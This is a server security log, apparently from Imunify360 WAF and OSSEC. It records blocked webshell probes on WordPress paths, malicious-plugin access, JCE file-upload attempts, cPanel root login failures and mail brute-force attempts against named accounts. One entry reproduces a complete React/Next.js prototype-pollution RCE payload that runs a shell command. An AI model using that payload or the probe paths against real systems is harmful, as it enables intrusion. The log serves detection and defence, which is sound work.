name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.203
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/alnay/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 17:22:36 dovecot_login authenticator failed for H=([174.77.111.220]) [182.95.61.82]:37188: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-conflg.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.203
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-includes/images/media/index.php||SC:/home/alnay/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-16 17:23:02 dovecot_login authenticator failed for H=([220.126.215.120]) [182.95.185.14]:60140: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.233
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/bypass.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.233
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/content.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/bypass.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.233
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/images/waf_defender.php||SC:/home/alnay/public_html/images/waf_defender.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-16 17:25:00 dovecot_login authenticator failed for H=([61.97.17.208]) [197.242.170.10]:59385: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.171
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/images/buy.php||SC:/home/alnay/public_html/images/buy.php||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.154.138.171
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.154.138.171
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/av.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.199
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/upload/install.php||SC:/home/alnay/public_html/upload||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.199
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-cert.phtml||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-16 17:25:56 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [207.254.22.207]:52718: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.171
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wordpress/wp-content/uploads/install.php||SC:/home/alnay/public_html/wordpress||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-16 17:25:44 dovecot_login authenticator failed for H=(60-250-63-7.hinet-ip.hinet.net) [103.130.91.83]:40120: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.171
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wordpress/wp-content/uploads/install.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.168
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/system_cache.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.154.138.168
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.168
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/system_cache.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 45.154.138.168
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/themes.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.184
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/images/av.php||SC:/home/alnay/public_html/images/av.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.184
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.154.138.184
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/alfa.php||WPU:||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 17:27:10 dovecot_login authenticator failed for H=([114.202.28.214]) [116.98.104.138]:57862: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/assets/images/cloud.php||SC:/home/alnay/public_html/assets||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.177
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/uploads.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.182
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/install.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.234.118.230
country_id: 3351879
description:
2026-07-16 17:28:10 dovecot_login authenticator failed for H=([107.85.96.209]) [197.234.118.230]:50588: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-16 17:28:25 dovecot_login authenticator failed for H=([49.124.153.30]) [182.66.213.59]:37516: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.182
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/install.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.182
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/autodiagnosis.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 45.154.138.182
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/filester/assets/css/404.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 110.137.82.72
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.154.138.176
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.154.138.182
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autodiagnosis.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.154.138.176
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/assets/jquery-ui/images/lock2.php||SC:/home/alnay/public_html/assets||


plugin: modsec
rule: 77093094
abuser: 13.39.50.88
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-16 17:31:27 dovecot_login authenticator failed for H=([174.75.211.204]) [70.88.108.12]:55474: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.138.181
country_id: 1819730
description:
2026-07-16 17:32:07 dovecot_login authenticator failed for H=([49.124.147.120]) [121.202.138.181]:50772: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.129.40.78
country_id: 3508796
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e61298470 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 17:37:48 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [196.188.93.169]:5455: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-16 17:38:46 dovecot_login authenticator failed for H=([156.238.86.2]) [182.95.181.166]:58434: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.121.76.190
country_id: 3437598
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ef415458 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.193.6
country_id: 2300660
description:
2026-07-16 17:46:39 dovecot_login authenticator failed for H=([112.184.11.161]) [197.251.193.6]:34894: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 17:46:51 dovecot_login authenticator failed for H=([45.164.115.86]) [196.188.93.169]:4147: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-16 17:48:09 dovecot_login authenticator failed for H=(ipmapt-72-195-114-188.oc.oc.cox.net) [196.188.187.21]:53076: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-16 17:47:26 dovecot_login authenticator failed for H=([118.98.90.22]) [173.18.106.54]:35512: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 144.217.135.220
country_id: 6251999
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=10536||QS:add-to-cart=10536||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.134.45.239
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4e1982459 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-16 17:54:26 dovecot_login authenticator failed for H=([37.79.232.82]) [20.127.25.202]:62804: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-16 17:54:52 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de (nsg-static-201.69.75.182-airtel.com) [217.24.238.120]:37596: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 17:56:21 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [103.90.27.83]:50054: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-16 17:56:35 dovecot_login authenticator failed for H=([47.215.0.185]) [103.142.184.55]:37501: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-16 17:56:49 dovecot_login authenticator failed for H=([183.224.160.34]) [65.99.181.123]:46917: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.58.83.79
country_id: 3923057
description:
2026-07-16 17:59:43 dovecot_login authenticator failed for H=static-200-58-83-79.supernet.com.bo ([194.154.92.163]) [200.58.83.79]:51872: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-16 18:00:00 dovecot_login authenticator failed for H=([180.100.212.177]) [101.13.5.195]:33210: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.147.111.106
country_id: 1522867
description:
2026-07-16 18:08:01 dovecot_login authenticator failed for H=([62.91.108.146]) [91.147.111.106]:49890: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.77.163
country_id: 1269750
description:
2026-07-16 18:08:13 dovecot_login authenticator failed for H=([47.215.0.179]) [116.74.77.163]:51589: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-16 18:08:19 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([31.173.31.66]) [208.96.233.67]:53654: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-07-16 18:08:45 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl ([175.213.42.43]) [178.183.125.51]:56422: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-16 18:09:04 dovecot_login authenticator failed for H=([184.181.217.198]) [182.95.229.110]:46290: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-16 18:09:20 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com (62.36.19.41.static.abi.uni2.es) [24.142.170.231]:47539: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.104.223.133
country_id: 1835841
description:
2026-07-16 18:09:30 dovecot_login authenticator failed for H=([111.35.36.48]) [210.104.223.133]:34448: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.37.182
country_id: 1835841
description:
2026-07-16 18:09:59 dovecot_login authenticator failed for H=([68.71.253.70]) [112.184.37.182]:33666: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-16 18:10:38 dovecot_login authenticator failed for H=(grupokrause.static.gvt.net.br) [1.227.228.131]:54722: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.166.198.50
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9c2492716 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-16 18:12:51 dovecot_login authenticator failed for H=([221.167.50.229]) [182.95.189.66]:46548: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.209.91
country_id: 1668284
description:
2026-07-16 18:13:01 dovecot_login authenticator failed for H=([183.171.56.123]) [49.158.209.91]:54702: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.103.66
country_id: 1835841
description:
2026-07-16 18:13:26 dovecot_login authenticator failed for H=(201-2-140-186.paemt704.e.brasiltelecom.net.br) [175.205.103.66]:37084: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-16 18:13:38 dovecot_login authenticator failed for H=([116.38.54.26]) [113.193.187.154]:33320: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-16 18:14:10 dovecot_login authenticator failed for H=([192.252.210.237]) [182.73.109.194]:57278: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-16 18:14:22 dovecot_login authenticator failed for H=(9.72.116.151.hathway.com) [197.219.210.86]:53292: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-16 18:14:47 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([198.8.94.171]) [80.223.163.253]:47412: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-16 18:14:53 dovecot_login authenticator failed for H=([112.165.176.138]) [152.70.157.25]:35966: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77469916
abuser: 1.54.149.212
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 1.54.149.212
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.phtml||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.43.123
country_id: 6252001
description:
2026-07-16 18:21:02 dovecot_plain authenticator failed for H=c-71-229-43-123.hsd1.ga.comcast.net (arcon) [71.229.43.123]:41292: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.96.189.27
country_id: 298795
description:
2026-07-16 18:21:05 dovecot_plain authenticator failed for H=(ompregir) [85.96.189.27]:46408: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 193.26.115.165
country_id: 6252001
description:
[2026-07-16 18:23:08 +0530] info [whostmgrd] 193.26.115.165 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-16 18:22:50 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([50.223.176.171]) [90.230.226.175]:48640: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.26.115.165
country_id: 6252001
description:
[2026-07-16 18:23:09 +0530] info [whostmgrd] 193.26.115.165 - root "GET /cpsess5701481600/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-16 18:23:16 dovecot_login authenticator failed for H=(static.bb.alp.61.2.44.54.bsnl.in) [1.241.64.237]:44996: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.46
country_id: 99237
description:
2026-07-16 18:27:06 dovecot_login authenticator failed for H=([203.229.208.123]) [65.20.138.46]:35056: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-16 18:29:08 dovecot_login authenticator failed for H=([199.229.254.131]) [182.95.106.138]:43276: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.10
country_id: 1269750
description:
2026-07-16 18:29:22 dovecot_login authenticator failed for H=([37.238.45.202]) [27.123.113.10]:53800: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.128.122.221
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a5800.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-16 18:32:19 dovecot_login authenticator failed for H=([101.230.0.49]) [101.13.5.26]:53854: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-16 18:33:49 dovecot_login authenticator failed for H=(voip.uet.edu.pk) [102.211.7.162]:57432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-16 18:34:24 dovecot_login authenticator failed for H=([154.58.35.181]) [181.61.251.4]:47802: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.224
country_id: 2661886
domain: globalgroupoman.com
description:
